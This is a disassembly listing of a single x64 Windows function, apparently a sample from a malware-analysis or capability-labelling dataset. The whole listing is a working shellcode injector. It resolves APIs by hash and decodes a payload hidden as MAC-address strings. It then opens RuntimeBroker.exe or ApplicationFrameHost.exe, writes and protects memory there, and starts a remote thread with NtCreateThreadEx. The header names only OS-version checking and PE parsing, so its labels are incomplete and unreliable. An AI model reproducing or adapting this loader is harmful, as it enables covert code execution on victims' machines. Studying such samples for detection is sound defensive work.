Function at 0x140001330
Capabilities:
Check os version
Parse pe header

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x140001a3e
cmp dword [rax + 0x118], 0xa
jne 0x140001a3e
mov rax, qword [rax + 0x18]
xorps xmm0, xmm0
xor ecx, ecx
mov qword [rbp - 0x30], rcx
movups xmmword [rsp + 0x60], xmm0
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov rdi, qword [rcx]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov rcx, qword [rdi + 0x20]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
cmp word [rcx], ax
jne 0x140001a3e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001a3e
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x140001a3e
movabs rax, 0x9a44e0c9d96caf15
lea r8, [rsp + 0x60]
mov rdx, rbx
mov qword [rsp + 0x68], rax
call section..text
test eax, eax
je 0x140001a3e
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x78]
movabs rax, 0x120afe002411fffb
mov rdx, rbx
mov qword [rbp - 0x80], rax
call section..text
test eax, eax
je 0x140001a3e
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x70]
movabs rax, 0x25aeef3b973f7971
mov rdx, rbx
mov qword [rbp - 0x68], rax
call section..text
test eax, eax
je 0x140001a3e
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x58]
movabs rax, 0x614f4876af28ace1
mov rdx, rbx
mov qword [rbp - 0x50], rax
call section..text
test eax, eax
je 0x140001a3e
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x40]
movabs rax, 0x9aa6236f0964ad19
mov rdx, rbx
mov qword [rbp - 0x38], rax
call section..text
test eax, eax
je 0x140001a3e
mov qword [rsp + 0x170], r13
lea rcx, str.NTDLL
mov qword [rsp + 0x138], r14
xor r13d, r13d
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], r12
mov qword [rsp + 0x130], r15
mov qword [rbp], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlEthernetStringToAddressA
call fcn.140001150
mov r14, rax
test rax, rax
jne 0x140001506
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.1400012d0
lea rcx, str.error_with_decoding_n
jmp 0x14000182b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x120
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x140001545
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d__n
call fcn.1400012d0
lea rcx, str.error_with_decoding_n
jmp 0x14000182b
lea r15, str.FC_48_83_E4_F0_E8
mov rdi, r12
mov rsi, r15
mov ebx, r13d
nop word [rax + rax]
mov rcx, qword [rsi]
lea rdx, [rbp]
mov r8, rdi
call r14
test eax, eax
jne 0x140001a1c
add rdi, 6
inc ebx
add rsi, 8
cmp ebx, 0x30
jb 0x140001560
lea rcx, str.NTDLL.DLL
mov dword [rbp - 0x20], r13d
mov dword [rbp + 8], r13d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call fcn.140001150
mov rdi, rax
test rax, rax
jne 0x1400015d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d_n
call fcn.1400012d0
mov rdi, qword [rbp - 0x18]
mov r14d, dword [rbp - 0x20]
jmp 0x1400016dc
xor edx, edx
lea r9, [rbp - 0x20]
xor r8d, r8d
lea ecx, [rdx + 5]
call rdi
mov ebx, dword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001622
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.1400012d0
mov rdi, qword [rbp - 0x18]
mov r14d, dword [rbp - 0x20]
jmp 0x1400016dc
mov r8d, dword [rbp - 0x20]
lea r9, [rbp + 8]
mov rdx, rax
mov ecx, 5
mov rsi, rax
call rdi
test eax, eax
je 0x140001656
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_Failed_With_Error_:_0x_0.8X__n
call fcn.1400012d0
mov rdi, qword [rbp - 0x18]
mov r14d, dword [rbp - 0x20]
jmp 0x1400016dc
lea r8, str.RuntimeBroker.exe
nop dword [rax]
cmp word [rbx + 0x38], r13w
je 0x1400016ab
mov rdx, qword [rbx + 0x40]
mov rcx, r13
nop
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
jne 0x1400016ab
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400016ab
add rcx, 2
cmp rcx, 0x12
jne 0x140001670
mov r14d, dword [rbx + 0x50]
xor edx, edx
mov r8d, r14d
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
jmp 0x1400016be
mov eax, dword [rbx]
test eax, eax
je 0x1400016b6
add rbx, rax
jmp 0x140001660
mov rdi, qword [rbp - 0x18]
mov r14d, dword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
je 0x1400016dc
test rdi, rdi
jne 0x1400016e8
lea rcx, str.could_not_get_remote_handle_to_runtime_n
call fcn.1400012d0
cmp rdi, 0xa
jae 0x140001874
lea rcx, str.NTDLL.DLL
mov dword [rbp - 0x10], r13d
mov dword [rbp + 0xc], r13d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call fcn.140001150
mov rsi, rax
test rax, rax
jne 0x140001737
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d_n
call fcn.1400012d0
jmp 0x140001824
xor edx, edx
lea r9, [rbp - 0x10]
xor r8d, r8d
lea ecx, [rdx + 5]
call rsi
mov ebx, dword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140001780
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.1400012d0
jmp 0x140001824
mov r8d, dword [rbp - 0x10]
lea r9, [rbp + 0xc]
mov rdx, rax
mov ecx, 5
mov r15, rax
call rsi
test eax, eax
je 0x1400017a9
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_Failed_With_Error_:_0x_0.8X__n
call fcn.1400012d0
jmp 0x140001824
lea r8, str.ApplicationFrameHost.exe
cmp word [rbx + 0x38], r13w
je 0x1400017e4
mov rdx, qword [rbx + 0x40]
mov rax, 0xffffffffffffffff
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x1400017e4
add rax, 2
cmp rax, 0x19
je 0x1400017ef
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
je 0x1400017c2
mov eax, dword [rbx]
test eax, eax
je 0x140001806
add rbx, rax
jmp 0x1400017b0
mov r14d, dword [rbx + 0x50]
xor edx, edx
mov r8d, r14d
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
je 0x140001824
test rdi, rdi
jne 0x140001874
lea rcx, str.could_not_get_remote_handle_to_application_frame_n
call fcn.1400012d0
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x160]
mov r12, qword [rsp + 0x168]
mov r15, qword [rsp + 0x130]
mov r13, qword [rsp + 0x170]
mov r14, qword [rsp + 0x138]
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140001a80
add rsp, 0x140
pop rdi
pop rbx
pop rbp
ret
movzx ecx, word [rsp + 0x70]
mov ebx, 0x120
mov ebx, ebx
mov qword [rbp + 0x10], rbx
mov qword [rbp - 8], r13
mov qword [rbp - 0x18], r13
call fcn.140001a50
mov r8d, ebx
lea rcx, str.remote_process__d_and_size__d
mov rdx, rdi
call fcn.1400012d0
lea r9, [rbp + 0x10]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.140001a61
test eax, eax
je 0x1400018f2
mov edx, eax
lea rcx, str.____alloc_Failed_With_Error_:_0x_0.8X__n
call fcn.1400012d0
mov rdx, qword [rbp - 0x18]
lea rcx, str.paylaod_address__x
call fcn.1400012d0
mov eax, 0x45
jmp 0x140001835
mov r8, qword [rbp + 0x10]
lea rcx, str.___Allocated_Address_At_:_0x_p_Of_Size_:__ld__n
mov rdx, qword [rbp - 0x18]
call fcn.1400012d0
movzx ecx, word [rbp - 0x78]
call fcn.140001a50
mov r9, qword [rbp + 0x10]
lea rax, [rbp + 0x20]
mov rdx, qword [rbp - 0x18]
mov r8, r12
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140001a61
test eax, eax
je 0x140001947
lea rcx, str.____WRITE_Failed_With_Error_:_0x_0.8X__n
mov edx, eax
call fcn.1400012d0
mov eax, 0x45
jmp 0x140001835
movzx ecx, word [rbp - 0x60]
call fcn.140001a50
lea rax, [rbp + 0x18]
mov r9d, 0x10
lea r8, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.140001a61
test eax, eax
je 0x14000198b
lea rcx, str.____PROTECT_Failed_With_Error_:_0x_0.8X__n
mov edx, eax
call fcn.1400012d0
mov eax, 0x45
jmp 0x140001835
movzx ecx, word [rbp - 0x30]
call fcn.140001a50
mov rax, qword [rbp - 0x18]
lea rcx, [rbp - 8]
mov qword [rsp + 0x50], r13
mov r9, rdi
mov qword [rsp + 0x48], r13
xor r8d, r8d
mov qword [rsp + 0x40], r13
mov edx, 0x1fffff
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call fcn.140001a61
test eax, eax
je 0x1400019eb
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
mov edx, eax
call fcn.1400012d0
mov eax, 0x45
jmp 0x140001835
lea rcx, str.___DONE__n
call fcn.1400012d0
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov edx, eax
lea rcx, str._t___Thread_Created_With_Id_:__d__n
call fcn.1400012d0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001835
movsxd rdx, ebx
lea rcx, str.____RtlEthernetStringToAddressA__Failed_At___s__With_Error_0x_0.8X_n
mov r8d, eax
mov rdx, qword [r15 + rdx*8]
call fcn.1400012d0
lea rcx, str.error_with_decoding_n
jmp 0x14000182b
mov eax, 1
jmp 0x14000185d